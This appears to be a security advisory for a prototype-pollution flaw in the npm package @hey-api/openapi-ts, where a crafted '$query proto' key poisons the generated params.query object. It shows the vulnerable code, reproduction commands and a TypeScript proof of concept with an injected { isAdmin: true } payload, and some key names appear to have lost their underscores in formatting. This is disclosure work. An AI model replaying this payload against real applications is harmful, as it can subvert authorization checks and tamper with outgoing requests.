PT-2026-55130 · Npm · @Hey-Api/Openapi-Ts

Published

2026-07-01

·

Updated

2026-07-01

CVSS v3.1

4.8

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body , $headers , $path , $query ), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query proto " causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:
typescript
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
 const [prefix, slot] = extra
 ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}
This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query proto " as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query ") is true, and key.slice(7) produces " proto ". The bracket-write params["query"][" proto "] = value invokes the proto setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query proto " alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
typescript
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])
A request { q: "hello", "$query proto ": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query proto " falling through to extraPrefixes.

PoC

bash
npm install @hey-api/openapi-ts@0.97.2
cp node modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc
poc.ts:
typescript
import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query  proto "
const result = buildClientParams(
 [{ q: "hello", "$query  proto ": { isAdmin: true } }],
 generatedFields
);

const q = result.query as any;
console.log(q.q);              // "hello" — own property, normal
console.log(q.isAdmin);           // true — inherited via prototype chain
console.log(Object.keys(q));        // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"
Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query  proto  key
 Scenario: GET /search with fields [{ in:'query', key:'q' }]
 Attacker request: { q: 'hello', '$query  proto ': { isAdmin: true } }

 result.query.q     = hello
 result.query.isAdmin  = true ← inherited, NOT own
 Object.keys(q)     = [ 'q' ]
 for..in keys      = q, isAdmin
 Object.getPrototypeOf = {"isAdmin":true}
No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.
Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.
Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

Fix

Prototype Pollution

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-1321

Related Identifiers

GHSA-HHX9-57XQ-R5RW

Affected Products

@Hey-Api/Openapi-Ts